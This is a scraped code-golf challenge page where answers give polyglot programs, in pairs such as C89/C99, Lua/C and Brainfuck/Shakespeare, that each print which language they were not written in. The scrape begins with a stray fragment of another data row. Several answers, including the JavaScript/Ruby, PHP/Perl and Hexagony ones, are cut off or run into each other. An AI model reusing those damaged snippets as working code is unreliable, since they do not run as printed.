x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x.%20xx%20x.%20x.%20).\n]"}}},{"rowIdx":34,"cells":{"text":{"kind":"string","value":"[Question]\n [\nIsn't it annoying when you find a piece of code and you don't know what language it was written in? This challenge attempts to somewhat solve this.\n# Challenge\nYou will have to write a program that when run in two different languages, will output the string: \n`This program wasn't written in , it was built for !`\n* In the output, language names should have official capitalization. eg: CJam, C++\n* Neither program should take any input from the user.\n* When run in both languages, output should be to stdout or equivalent.\n* There should be no output to stderr in either program.\n* You may use comments in either language.\n* Two different versions of the same language count as different languages.\n\t+ If this is done, the program should output the major version number, and if running on two different minor versions, should report the minor version also.\n\t+ You should not use prebuilt version functions (this includes variables that have already been evaluated at runtime).\n## Example output:\nPerl and Ruby:\n* Perl: `This program wasn't written in Perl, it was built for Ruby!`\n* Ruby: `This program wasn't written in Ruby, it was built for Perl!`\nPython and C:\n* Python: `This program wasn't written in Python, it was built for C!`\n* C: `This program wasn't written in C, it was built for Python!`\nPython 2 and Python 3:\n* Python 2: `This program wasn't written in Python 2, it was built for Python 3!`\n* Python 3: `This program wasn't written in Python 3, it was built for Python 2!`\nPython 2.4 and Python 2.7:\n* Python 2.4: `This program wasn't written in Python 2.4, it was built for Python 2.7!`\n* Python 2.7: `This program wasn't written in Python 2.7, it was built for Python 2.4!`\n**This is code golf so the shortest code in bytes wins.**\n \n[Answer]\n# C89/C99, ~~171~~ ~~152~~ ~~136~~ ~~114~~ ~~111~~ ~~107~~ 105 bytes\nThanks at @Hurkyls, @Qwertiys, @jimmy23013 and @MD XF for your hints.\ngolfed version:\n```\nc;main(){c=-4.5//**/\n-4.5;printf(\"This program wasn't written in C%d, it was built for C%d!\",90-c,98+c);}\n```\nungolfed version:\n```\nc;\nmain()\n{\n c = -4.5//**/\n -4.5;\n printf(\"This program wasn't written in C%d, it was built for C%d!\",90-c,98+c);\n}\n```\n**Little description:**\nC versions previous C99 just had the multiline comment like this:\n```\n/*foo*/\n```\nwith C99 the single line comment was introduced. like this:\n```\n//foo\n```\nso if you compile a line like this:\n```\nc =-4.5//**/\n-4.5;\n```\nthe for the c99 compiler compiling-related code would be:\n```\nc = -4.5 -4.5;\n```\nwhile the for a c89 compiler relevant code would be:\n(as the first `/` isn't part of a comment and therfor treat as operator)\n```\nc = -4.5 / -4.5;\n```\n[Answer]\n# [Foo](http://esolangs.org/wiki/Foo)/CJam, 70 bytes\n```\n\"This program wasn't written in \"\"Foo\"\", it was built for \"\"CJam\"\\@\"!\"\n```\nIn Foo, as many have found out, it just prints everything in the double quotes, and ignores most other character or does something that doesn't affect the output in most cases. In short, `\\@` does nothing and the strings are all printed as-is.\nIn CJam, `\\` swaps the top two items, and `@` moves the 3rd item to the top, which arrange the strings into the right order. And after the program ends, everything left in the stack is automatically printed.\n[Answer]\n# JavaScript/Ruby, 170 bytes\n**Might be 2.0 only, doesn't appear to work in at least 2.1.5... Edit: Updates as per advice from [@Jordan](https://codegolf.stackexchange.com/users/11261/jordan) hopefully it works in a few more versions now!**\n```\na='1';c=console=console||eval('def c.log s;$><<>](https://esolangs.org/wiki/Fish) ~~233~~ 217 bytes\n```\nv++C-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC+CCCCCCC-CCCCCCCCCCCCCCCCCCC+CCCCCC\n\\ \"This program wasn't written in \"\"><>\" \", it was built for Fishing!\"\n>r!`ol?!;32. Fishing ><>!`N\n```\n---\n**Fishing** is a language based on a fisherman walking around catching fish. To make a program in this language who first have to define a dock on which he walks around. The dock only provides control flow to a program. The dock in this program is:\n```\nv++C-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC+CCCCCCC-CCCCCCCCCCCCCCCCCCC+CCCCCC\n```\nWhenever the `C` command is found, the fisherman throws out his line to catch an instruction. The `+` and `-` instructions decrease and increase the length of his line respectively. `v` changes his throw direction to downwards. The fish that he catches in this program are:\n```\n`This program wasn't written in Fishing, it was built for ><>!`N\n```\n---\n**><>** is a language based on a fish moving through the water. The `v` command starts the fish moving downwards, where it is then reflected to the right with the `\\` command. Everything between quotes is pushed onto the stack. After the string is pushed onto the stack, the fish wraps around to the other side where it is reflected downwards by `\\`. It then prints out the contents of the stack with:\n```\n>r!`ol?!;32.\n```\n[Answer]\n# [23](http://web.archive.org/web/20060717035053/http://www.philipp-winterberg.de/software/23e.php)/Malbolge, 5688 bytes\n```\n bCBA@?>=<;:987\n 6543210/.-,+*)\n ('&%$#\"!~}|{zy\n xwvutsrqponmlk\n jihgfedcba`_^]\n \\[ZYXWVUTSRQPO\n NMLKJIHGFEDCBA\n @?>=<;:9y76543\n 210/(L,l*)(!E}\n |B\"!~}|{zyxwvu\n tsrqponmlkjiha\n fed]#a`_^]?zZY\n XWVUTSRQ3ONMLK\n JIHGFEDCBA:^>=\n <;:98705.R21q/\n .-,+*#G'&%${\"!\n x>|{zyxwYutm3k\n ponmlkjihg`&^c\n ba`_^]\\[ZYXWVO\n sSRQPONMLEi,HG\n FEDCBA@?>=6Z:9\n y76543210/.-,+\n *)('&%$#\"y?w|u\n ;sxwvutm3qSonm\n fkjiha'edcba`_\n ^]\\[ZYXWVUTSRQ\n PONM/EiIHGFEDC\n BA@?>7[;:987w5\n 432+O/o-,%I)('\n &}$#z@~}|{zsxw\n vutsrqponmlkji\n ha'&dFba`_^]\\U\n yYXWVUTMRQPONM\n LKDhH*F?DCBA@?\n 8\\<;:98765432r\n 0/.-&J*)('&f$#\n \"!~}|{zyxwvuts\n rqj0nmOkjihaf_\n %cE[!_^]\\[=SwW\n VU7SLpPONMLEJI\n HAeEDC%A@?>=<;\n :9876543210/.-\n ,+$H('&}${A!xw\n ={]yxwvutsrk1o\n nmOejib(fedcE\"\n `_^]?[ZYRvVUT6\n RKo2HMLKJIHAe\n EDCBA@?>=<;:9\n 87w5432+O/.-,\n +*)('&%e#\"y?w\n |{zs9wvun4rqp\n onmlNjib(fedc\n ba`_^]\\[ZYXWV\n 8TMqKPONMLKDh\n +GFEDCB;_?>=<\n ;:9y7654321*N\n .-,+*)('&f|{A\n !~}|{]yxwvo5s\n rqpinmlkjihg`\n &dcbD`_^]\\[Tx\n ;WVUTMRQJnN0F\n KDhH*FEDC=<5Y92765.R?\n```\nNote that the program requires a trailing linefeed. No line contains trailing whitespace, so copy/paste should work just fine.\n### Verification\nTo test the Malbolge code in [this online interpreter](http://www.matthias-ernst.eu/malbolge/debugger.html), paste it in the **Malbolge code** area and click `Load/Reset`, then `Execute`.\nTo test the 23 code in [this online interpreter](http://web.archive.org/web/20070213142054/http://www.philipp-winterberg.de/software/23inte.php), paste it in the **Source** area, press `Enter` to insert the trailing linefeed, type `23` in the **Console** area (to switch from the default **23.dezsy** notation to auto-detection) and click `Run Interpreter!`.\n[Answer]\n## Lua/C - 182 164 bytes\n```\n#if 0\nprint\"This program wasn't written in Lua, it was built for C!\"--[[\n#endif\nmain(){printf(\"This program wasn't written in C, it was built for Lua!\\n\");}/*]]--*/\n```\nTakes advantage of the feature where Lua treats a hash mark on the first line as a comment to allow for Unix shebangs. Otherwise wraps the other language's comments in its own comments.\nTo shave bytes, I rely on implicit behavior that only emits warnings in GCC and Clang: implicit declaration of int for main and implicit definition of printf.\n[Answer]\n# JavaScript/Haskell, ~~158 bytes~~ 147 bytes\nGeneral idea: sneak each one's comment syntax into the other.\nIn one line:\n```\nu=\"This program wasn't written in \";v=\", it was built for \";j=\"JavaScript\";h=\"Haskell\";{-console.log(u+j+v+h+\"!\")}//-}main=putStrLn$u++h++v++j++\"!\"\n```\nWhat this looks like to Haskell:\n```\n-- some variable definitions\nu = \"This program wasn't written in \"\nv = \", it was built for \"\nj = \"JavaScript\"\nh = \"Haskell\"\n-- a comment\n{-console.log(u+j+v+h+\"!\")}//-}\n-- the main method that does the dirty deed\nmain = putStrLn $ u ++ h ++ v ++ j ++ \"!\"\n```\nWhat this looks like to JavaScript:\n```\n/* variables can be declared without `var` */\nu = \"This program wasn't written in \";\nv = \", it was built for \";\nj = \"JavaScript\";\nh = \"Haskell\";\n/* hey look, an anonymous block! */\n{ \n /* we negate the `undefined` that comes out of console.log */\n -console.log(u+j+v+h+\"!\")\n} \n/* there are two automatic semicolon insertions here:\n one before `}` and one before EOF. */\n/* a one-line comment. */\n//-}main=putStrLn$u++h++v++j++\"!\"\n```\n[Answer]\n# Brainfuck/Foo, 769 bytes\n```\n-[--->+<]>-.[---->+++++<]>-.+.++++++++++.+[---->+<]>+++.[-->+++++++<]>.++.---.--------.+++++++++++.+++[->+++<]>++.++++++++++++.[->+++++<]>-.--[->++++<]>-.-[->+++<]>-.--[--->+<]>--.-----.[++>---<]>++.[->+++<]>-.[---->+<]>+++.--[->++++<]>-.-----.---------.+++++++++++..+++[->+++<]>.+++++++++.-[->+++++<]>-.-[--->++<]>-.+++++.-[->+++++<]>-.+[->++<]>.---[----->+<]>-.+++[->+++<]>++.++++++++.+++++.--------.-[--->+<]>--.+[->+++<]>+.++++++++.+++[----->++<]>.------------.-[--->++<]>-.+++++++++++.[---->+<]>+++.--[->++++<]>-.-[->+++<]>-.--[--->+<]>--.+[---->+<]>+++.[->+++<]>++.[--->+<]>-.------------.+++.++++++++.[---->+<]>+++.++[->+++<]>.+++++++++.+++.[-->+++++<]>+++.+++[->++<]>.+[--->+<]>++..[--->+<]>----.\"This program wasn't written in Foo, it was built for Brainfuck!\"\n```\nAn extremely intricate and complex answer... or not.\n[Answer]\n## C / Python, 238 chars\nThis doesn't print 100% exactly what's requested, but quite close. \nA reboot of [my valentine's day card](https://codegolf.stackexchange.com/a/20835/3544).\n```\n#define def main(){0?\n#define print printf(\n#define return 0)));}\n#define pass 0);\ndef main():\n print \"This program wasn't written in \",\n pass\n print \"Python\",\n print \", it was built for \",\n print \"C\",\n return\nmain();\n```\n[Answer]\n## C/C++, 136\n```\n#include\nint main(){\nchar*a=\"++\",z=sizeof'c'/2;\nprintf(\"This program wasn't written in C%s, it was built for C%s!\\n\",a+z,a+2-z);\n}\n```\nNewlines added for formatting. Try it in [C](http://ideone.com/XteSsr) or [C++](http://ideone.com/Sg1RQz).\n[Answer]\n# [Befunge](https://esolangs.org/wiki/Befunge)/[><>](https://esolangs.org/wiki/Fish), ~~141~~ ~~138~~ ~~134~~ ~~133~~ 130 bytes\n*[3 bytes saved](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for/55998#comment136152_55998) thanks to [@Cole](https://codegolf.stackexchange.com/users/42833/cole).*\nTo be exact, I'm using Befunge-98.\n```\n\\\"!><> rof tliub saw ti ,egnufeB\" >\" rof nettirw t'nsaw margorp sih\"'T>:#,_@'~~~~~~\n>l?v\"!egnufeB rof tliub saw ti ,><>\"^\n?!;>ol\n```\nUsing the facts that:\n* `\\` is a mirror in ><> and swap in Befunge\n* `'string'` is a string in ><> and `'c` is a char in Befunge\n[Answer]\n# PHP/MySQL, 147 bytes\n```\n-- $argc;die(\"This program wasn't written in PHP, it was built for MySQL!\");\nSELECT(\"This program wasn't written in MySQL, it was built for PHP!\");\n```\n[Answer]\n## Python 3/[><>](http://esolangs.org/wiki/Fish), ~~177~~ ~~173~~ ~~172~~ 167 Bytes\nThanks to @mathmandan for shaving 5 bytes off!\nWell this was an experience, and a trying one, too. Any golf suggestions are welcome, since this is pretty long. I tried my best to reuse text, but it was quite difficult.\nTechnically, it would be Python 3 that this program should output (and I could change that if I didn't meet the specs -- but in the example Python/C output `Python` was listed).\n```\naa=\" ni nettirw t'nsaw margorp sihT\\\"\\\"\"\nv=\"><>!\" #v \"><>\"r~/\na=\", it was built for \"+v#\\a\nprint(aa[-3::-1]+\"Pytho\" +\"n\"+a)\n# .4b;!?lor\"!nohtyP r\"~/\n```\nTry it on an [online ><> interpreter](http://fishlanguage.com/playground) and a [Python 3 interpreter](http://ideone.com/fXBhXp) (the ><> interpreter requires you to input the code manually)\nReturns\n```\nThis program wasn't written in ><>, it was built for Python!\n```\nin ><> and\n```\nThis program wasn't written in Python, it was built for ><>!\n```\nin Python. \n**Explanation (Python)**\nFor the Python side of things, it's pretty simple. Here's the code that we care about (basically the code without comments, which are denoted by a `#` in Python). Note that in Python `\\` is an escape character when used in strings, so `\\\"` evaluates to `\"` in the string. \n```\naa=\" ni nettirw t'nsaw margorp sihT\\\"\\\"\"\nv=\"><>!\"\na=\", it was built for \"+v\nprint(aa[-3::-1]+\"Pytho\" +\"n\"+a)\n```\nWhat we care most about here is the operations performed on the variable `aa`:\n```\naa[-3::-1]: reverses the string and chops off the quotation marks (thanks to @mathmandan)\n```\nThe print statement thus evaluates to\n```\n\"This program wasn't written in \" + \"Pytho\" + \"n\" + \", it was built for ><>!\"\n```\n**Explanation (><>)**\nNow we get to the more difficult part. Once again, here's the code with the unnecessary bits removed.\n```\naa=\" ni nettirw t'nsaw margorp sihT\\\"\\\n v \"><>\"r~/\na=\", it was built for \"+v \\a\n .4b;!?lor\"!nohtyP r\"~/\n```\n**Line 1:** \n```\naa=\" ni nettirw t'nsaw margorp sihT\\\"\\\naa= pushes 1 onto the stack (evaluates 10==10, basically)\n\" ni ... \\\" pushes the first part plus a \\ onto the stack.\n\\ deflects the pointer downwards\n```\nThe stack right now (if printed): `\\This program wasn't written in`\n**Line 2:**\nNote that line 2 begins at the `/` because of the position of the pointer from line 1, and moves right to left.\n```\nv \"><>\"r~/\n/ deflects the pointer leftwards\n~r pops the / off the stack and then reverses it\n\"><>\" pushes ><> onto the stack\nv deflects the pointer downwards\n```\nThe stack right now: `><> ni nettirw t'nsaw margorp sihT`\n**Line 3:**\nLike the previous line, this one begins at the `\\`, which is where line 2 sends the pointer. Note that because the pointer wraps around the line when it reaches the first `a` I'll be writing my explanation in order of where the pointer goes (and thus what is executed)\n```\na=\", it was built for \"+v \\a\n\\aa= deflect and push 1 onto the stack\n\", i ... \" push the string onto the stack\n+v sum the last two values pushed and deflect\n```\nThe stack right now(`x` is the character formed by the addition of \"r\" and a space. -- it is not the actual character, just a placeholder from me): \n`xof tliub saw ti ,><> ni nettirw t'nsaw margorp sihT` \n**Line 4:**\nThe pointer simply continues downwards so this line warrants no further explanation.\n**Line 5:**\nStarting at `/` and going leftwards.\n```\n.4b;!?lor\"!nohtyP r\"~/\n~\"r Python!\" pops x off and adds back r and a space\nr reverses the stack\no pops and prints a character\nl?!; pushes the length of the stack and stops if it's 0\nb4. pushes 11 then 4 then moves to that location (where o is)\n```\nThe stack right now (the output reversed):\n`!nohtyP rof tliub saw ti ,><> ni nettirw t'nsaw margorp sihT`\nAnd that should be it for the explanation. Let me know if there is any inconsistency between the explanation/code or if I did anything wrong; I golfed down my code some more while I was in the middle of writing the explanation so I might have mixed bits of old and new code up.\n[Answer]\n# Batch .BAT File / Batch .CMD File, ~~194~~ 185 Bytes\n```\n@ECHO OFF\nSET a=BAT\nSET b=CMD\nCALL :F&&GOTO :C||GOTO :O\n:C\nSET a=CMD\nSET b=BAT\n:O\nECHO This program wasn't written for %a% File, it was built for %b% File!\nGOTO :EOF\n:F\nmd;2>nul\nSET v=1\n```\nEdit: Saved 9 bytes, and corrected a missing `!` thanks to [DLosc](https://codegolf.stackexchange.com/users/16766/dlosc)\nYeah, there's differences between BAT and CMD files. [Reference.](https://groups.google.com/forum/#!msg/microsoft.public.win2000.cmdprompt.admin/XHeUq8oe2wk/LIEViGNmkK0J) Essentially, CMD sets the `ERRORLEVEL` on a `SET` command, while BAT doesn't, meaning that here the `ERRORLEVEL` set by the malformed `md` command gets cleared by the `SET v=1` in one version but not the other. This script is based on the example provided by \"Ritchie\" in that newsgroup thread.\nNote that the shortened script above presumes `ENABLEEXTENSIONS` to be set `ON` (it is by default on every platform). The expanded script below explicitly sets it, to guarantee correct functionality. Without that, the `SET` command for CMD doesn't allow all extensions, and (on some systems, maybe) might not set the `ERRORLEVEL` appropriately.\n### Expanded and remarked\n```\n@ECHO OFF\nsetlocal ENABLEEXTENSIONS\nREM Call the :FUNC subroutine and branch based on the resulting errorlevel\nCALL :FUNC&&GOTO :CMD||GOTO :BAT\nREM Just in case. If we reach this, though, hoo-boy ...\nGOTO :EOF\n:BAT\nREM We're a BAT file, so set variables and goto output\nSET a=BAT\nSET b=CMD\nGOTO :OUTPUT\n:CMD\nREM We're a CMD file, so set variables and goto output\nSET a=CMD\nSET b=BAT\nGOTO :OUTPUT\n:OUTPUT\nREM Print out the result, then go to end of file\nECHO This program wasn't written for %a% File, it was built for %b% File!\nGOTO :EOF\n:FUNC\nREM Simple subroutine to set the ERRORLEVEL appropriately\nmd;2>nul\nREM Right now, ERRORLEVEL on both CMD and BAT is 1\nSET v=1\nREM Right now, ERRORLEVEL on CMD is 0, but BAT is still 1\n```\n[Answer]\n# Javascript / C, ~~148~~ ~~146~~ 143 chars\n```\n//\\\nalert/*\nmain(){puts/**/(\"This program wasn't written in \"//\\\n+\"Javascript\"+/*\n\"C\"/**/\", it was built for \"//\\\n+\"C!\")/*\n\"Javascript!\");}/**/\n```\nC: ~~~~ ~~~~ \nJavascript: just copy code to browser console\n[Answer]\n# CJam/GolfScript, 81 78 bytes\n```\n\"This program wasn't written in \"o\"GolfScript\"\", it was built for \"\"CJam\"oo\"!\"\n```\nOriginal 81 byte version:\n```\n\"This program wasn't written in \"[\"CJam\"\", it was built for \"\"GolfScript\"]-1a%\"!\"\n```\n[Answer]\n## BF/SPL, 5342 bytes\nI'm pretty sure this is the first Shakespeare Programming Language polyglot on this site.\nProbably not going to win any prizes. Works by sneaking BF code into act/scene/program titles. The SPL code uses exclamation points instead of periods except for a few cases. The programs aren't supposed to take input, so the commas in the character declarations are \"commented out\" by zeroing cells and putting square brackets around the commas. The same procedure applies when hiding the square brackets around the enter/exeunt statements.\n```\n[-][.\nFord,.\nPage,.\nAct I:]+++++++++[>+++++++++<-]>+++.\nScene I:>[.\n[Enter Ford and Page]\nFord:\nYou is sum of bad bad bad bad bad bad day and sum of bad bad bad bad day and bad bad day!Speak thy mind!\nScene II:]<<++[>++++++++++<-]>.\nPage:\nYou is sum of bad bad bad bad bad bad day and sum of bad bad bad bad bad day and bad bad bad day!Speak thy mind!\nScene III:+.\nPage:\nYou is sum of thyself and day!Speak thy mind!\nScene IV:++++++++++.\nPage:\nYou is sum of thyself and sum of bad bad bad day and bad day!Speak thy mind!\nScene V:>++++[>++++++++<-]>.\nFord:\nYou is fat fat fat fat fat cat!Speak thy mind!\nScene VI:[-<+>]<<---.\nPage:\nYou is sum of thyself and sum of big pig and pig!Speak thy mind!\nScene VII:++.\nPage:\nYou is sum of thyself and fat cat!Speak thy mind!\nScene VIII:---.\nPage:\nYou is sum of thyself and sum of big pig and pig!Speak thy mind!\nScene IX:--------.\nPage:\nYou is sum of thyself and big big big pig!Speak thy mind!\nScene X:+++++++++++.\nPage:\nYou is sum of thyself and sum of fat fat fat cat and sum of fat cat and cat!Speak thy mind!\nScene XI:<++++[->----<]>-.\nPage:\nYou is sum of thyself and sum of big big big big pig and pig!Speak thy mind!\nScene XII:++++++++++++.\nPage:\nYou is sum of thyself and sum of fat fat fat fat cat and big big pig!Speak thy mind!\nScene XIII:>.\nFord:\nSpeak thy mind!\nScene XIV:<++++++++++.\nPage:\nYou is sum of thyself and sum of fat fat fat cat and fat cat!Speak thy mind!\nScene XV:<++++[->-----<]>--.\nPage:\nYou is sum of thyself and sum of big big big big big pig and sum of fat fat fat cat and fat cat!Speak thy mind!\nScene XVI:<++++[>++++<-]>++.\nPage:\nYou is sum of thyself and sum of fat fat fat fat cat and fat cat!Speak thy mind!\nScene XVII:-----.\nPage:\nYou is sum of thyself and sum of big big pig and pig!Speak thy mind!\nScene XVIII:>+++++++.\nFord:\nYou is sum of thyself and sum of fat fat fat cat and pig!Speak thy mind!\nScene XIX:<++++++.\nPage:\nYou is sum of thyself and sum of fat fat cat and fat cat!Speak thy mind!\nScene XX:>-------.\nFord:\nYou is sum of thyself and sum of big big big pig and cat!Speak thy mind!\nScene XXI:<+++.\nPage:\nYou is sum of thyself and sum of fat cat and cat!Speak thy mind!\nScene XXII:-----.\nPage:\nYou is sum of thyself and sum of big big pig and pig!Speak thy mind!\nScene XXIII:---------.\nPage:\nYou is sum of thyself and sum of big big big pig and pig!Speak thy mind!\nScene XXIV:+++++++++++.\nPage:\nYou is sum of thyself and sum of cat and sum of fat cat and fat fat fat cat.Speak thy mind!Speak thy mind!\nScene XXV:<+++[>-----<-]>.\nPage:\nYou is sum of thyself and sum of big big big big pig and cat!Speak thy mind!\nScene XXVI:+++++++++.\nPage:\nYou is sum of thyself and sum of fat fat fat cat and cat!Speak thy mind!\nScene XXVII:>.\nFord:\nSpeak thy mind!\nScene XXVIII:<-----.\nPage:\nYou is sum of thyself and sum of big big pig and pig!Speak thy mind!\nScene XXIX:+++++.\nPage:\nYou is sum of thyself and sum of fat fat cat and cat!Speak thy mind!\nScene XXX:>.\nFord:\nSpeak thy mind!\nScene XXXI:[->++<]>++.\nPage:\nYou is sum of thyself and sum of big big big big big pig and sum of fat fat cat and cat!Speak thy mind!You is sum of thyself and sum of big pig and pig!Speak thy mind!\nScene XXXII:++++.\nPage:\nYou is sum of thyself and big red hog!Speak thy mind!\nScene XXXIII:<+++++[>-----<-]>-.\nPage:\nYou is sum of thyself and big big big big big pig!Speak thy mind!\nScene XXXIV:[-<+>]<------------.\nFord:\nSpeak thy mind!\nScene XXXV:<-----.\nPage:\nYou is sum of thyself and sum of fat fat fat fat fat fat cat and sum of big pig and pig!Speak thy mind!\nScene XXXVI:+++++++++++.\nPage:\nYou is sum of thyself and sum of fat fat fat cat and sum of fat cat and cat!Speak thy mind!\nScene XXXVII:>.\nFord:\nSpeak thy mind!\nScene XXXVIII:<+++.\nPage:\nYou is sum of thyself and sum of fat cat and cat!Speak thy mind!\nScene XXXIX:<++++[->-----<]>--.\nPage:\nYou is sum of thyself and sum of big big big big big pig and sum of fat fat fat cat and fat cat!Speak thy mind!\nScene XL:<++++[>++++<-]>++.\nPage:\nYou is sum of thyself and sum of fat fat fat fat cat and fat cat!Speak thy mind!\nScene XLI:>.\nFord:\nSpeak thy mind!\nScene XLII:<<++++[>----<-]>-.\nPage:\nYou is sum of thyself and sum of big big big big pig and pig!Speak thy mind!\nScene XLIII:<+++++[>++++<-]>-.\nPage:\nYou is sum of thyself and sum of fat fat fat fat cat and sum of fat cat and cat!Speak thy mind!\nScene XLIV:------------.\nPage:\nYou is sum of thyself and sum of big big big big pig and fat fat cat!Speak thy mind!\nScene XLV:+++.\nPage:\nYou is sum of thyself and sum of fat cat and cat!Speak thy mind!\nScene XLVI:++++++++.\nPage:\nYou is sum of thyself and fat fat fat cat!Speak thy mind!\nScene XLVII:>.\nFord:\nSpeak thy mind!\nScene XLVIII:<--------------.\nPage:\nYou is sum of thyself and sum of big big big big pig and fat cat!Speak thy mind!\nScene XLIX:+++++++++.\nPage:\nYou is sum of thyself and sum of fat fat fat cat and cat!Speak thy mind!\nScene L:+++.\nPage:\nYou is sum of thyself and sum of fat cat and cat!Speak thy mind!\nScene LI:>.\nFord:\nSpeak thy mind!\nScene LII:>+++++++[<+++++++>-]<++.\nPage:\nYou is sum of thyself and sum of big big big big big pig and big big big big pig!Speak thy mind!\nScene LIII:---.\nPage:\nYou is sum of thyself and fat fat cat!Speak thy mind!\nScene LIV:----.\nFord:\nYou is sum of thyself and cat!Speak thy mind!\nScene LV:>+++++++[<------>-]<-.\nFord:\nYou is cat!\nScene LVI:>[.\n[Exeunt]\n```\nTest out BF at .\nSPL code was tested at the compiler found here: .\n[Answer]\n# PHP/Perl, ~~98~~ 96 bytes\n```\n$a=\"HP\";$b=\"erl\";\n//;$a=$b;$b=HP;\nprint\"This code wasn't written in P$a, it was built for P$b!\";\n```\nDunno if this is cheating or not, since as far as I can tell the only way to run PHP without an opening ` \n> Added an `__all__` to the `types` module.\n> \n> \n> \nThis pushed `len(dir(types))` from 42 to 43, giving a numerical difference we can exploit to generate the desired output.\n[Answer]\n# **JavaScript 1.8/JavaScript 1.7, 89 bytes**\n```\na=![].reduce;`This program wasn't written in JS 1.${8-a}, it was built for JS 1.${7+a}!`\n```\nBecause [Array.prototype.reduce](https://developer.mozilla.org/it/docs/Web/JavaScript/New_in_JavaScript/1.8) is new in 1.8\n**EDIT:**\nGolfed out 7 bytes by directly initializing `a` instead of using `reverse()`\n**EDIT:**\n[`JavaScript` can be written as `JS`](https://developer.mozilla.org/en-US/docs/Web/JavaScript), saving 8 bytes\n**EDIT:**\nThanks Hedi for pointing out that I can save 3 more bytes if I don't use the variable `b` any more\n**EDIT:** Golfed out 6 bytes by computing `7+a` and `8-a`, where `a=1` if reduce is defined (JS 1.8) and `a=0` if it is not defined (JS 1.7)\n**EDIT:** Hedi golfed out 6 more bytes suggesting the use of template string\n**EDIT:** ETHproductions golfed out 2 bytes suggesting `a=!![].reduce;` instead of `a=[].reduce?1:0;`\n**EDIT:** no1xsyzy golfed out one more byte suggesting to revers the boolean check\n[Answer]\n# SWI-Prolog 6/SWI-Prolog 7, 156 bytes\n```\nP='SWI-Prolog ',A=6,B=7,(is_list(\"\"),N=A,M=B;N=B,M=A),atomic_list_concat(['This program wasn\\'t written in ',P,N,', it was built for ',P,M,'!'],W),write(W).\n```\nUses the fact that double-quotes `\"\"` are string codes (i.e. list of character codes) in SWI-Prolog versions older than 7, and are a proper String type in version 7. `is_list(\"\")` will thus be false in version 7 and true in earlier versions.\n[Answer]\n# Ruby 1.8/Ruby 1.9, 87\n```\nputs\"This program wasn't written in Ruby 1.#{?9%49}, it was built for Ruby 1.#{?8%47}!\"\n```\nIn Ruby 1.8, `?9` is the ASCII value of \"9\", which is 8 modulo 49. In Ruby 1.9, it's the string \"9\", and `%49` is a formatting operation that does nothing since \"9\" doesn't have any format strings in it.\n[Answer]\n# sed / [Hexagony](https://github.com/m-ender/hexagony) 251 Bytes\n```\n/$/cThis program wasn't written in sed, it was built for Hexagony!\n#...>32;p;r;o;g;r;\\+/;a;w;23+;m;a<.;.>s;n;+39;t;+32\\s/;n;e;;t;i;r;w;<. |.>+32;i;n;+32;H;e\\ ;/4+;y;n;o;g;a;x;< i>4;+32;i;t;+32;\\;/u;b;23+;s;a;w;i;l;t;+32;f\\;/;s;23+;r;o;< T>e;d;+33;@\n```\nsed: [Try it Online!](http://sed.tryitonline.net/#code=LyQvY1RoaXMgcHJvZ3JhbSB3YXNuJ3Qgd3JpdHRlbiBpbiBzZWQsIGl0IHdhcyBidWlsdCBmb3IgSGV4YWdvbnkhCiMuLi4-MzI7cDtyO287ZztyO1wrLzthO3c7MjMrO207YTwuOy4-cztuOyszOTt0OyszMlxzLztuO2U7O3Q7aTtyO3c7PC4gfC4-KzMyO2k7bjsrMzI7SDtlXCA7LzQrO3k7bjtvO2c7YTt4OzwgaT40OyszMjtpO3Q7KzMyO1w7L3U7YjsyMys7czthO3c8aD47aTtsO3Q7KzMyO2ZcOy87czsyMys7cjtvOzwgVD5lO2Q7KzMzO0A&input=&debug=on) \nHexagony: [Try it Online!](http://hexagony.tryitonline.net/#code=LyQvY1RoaXMgcHJvZ3JhbSB3YXNuJ3Qgd3JpdHRlbiBpbiBzZWQsIGl0IHdhcyBidWlsdCBmb3IgSGV4YWdvbnkhCiMuLi4-MzI7cDtyO287ZztyO1wrLzthO3c7MjMrO207YTwuOy4-cztuOyszOTt0OyszMlxzLztuO2U7O3Q7aTtyO3c7PC4gfC4-KzMyO2k7bjsrMzI7SDtlXCA7LzQrO3k7bjtvO2c7YTt4OzwgaT40OyszMjtpO3Q7KzMyO1w7L3U7YjsyMys7czthO3c8aD47aTtsO3Q7KzMyO2ZcOy87czsyMys7cjtvOzwgVD5lO2Q7KzMzO0A&input=&debug=on)\n---\nIn sed, it prints the correct string if it matches the empty string at the end (always). The second line is a comment. This does require a string on STDIN, but it can be empty ([allowed based on this consensus](http://meta.codegolf.stackexchange.com/a/5477/57100)).\n**Example:**\n```\necho '' | sed -f whatLanguage.sed\n```\n---\nIn Hexagony, the first `/` redirects to the bottom left, it follows the left side up to where the sed part starts, then just wraps left to right, down a line, right to left, down a line, and so on. The expanded hex looks like this:\n```\n / $ / c T h i s p r \n o g r a m w a s n ' t \n w r i t t e n i n s e d \n , i t w a s b u i l t f o \n r H e x a g o n y ! # . . . \n > 3 2 ; p ; r ; o ; g ; r ; \\\n + / ; a ; w ; 2 3 + ; m ; a < .\n ; . > s ; n ; + 3 9 ; t ; + 3 2 \\\n s / ; n ; e ; ; t ; i ; r ; w ; < . \n| . > + 3 2 ; i ; n ; + 3 2 ; H ; e \\ \n ; / 4 + ; y ; n ; o ; g ; a ; x ; < \n i > 4 ; + 3 2 ; i ; t ; + 3 2 ; \\\n ; / u ; b ; 2 3 + ; s ; a ; w <\n 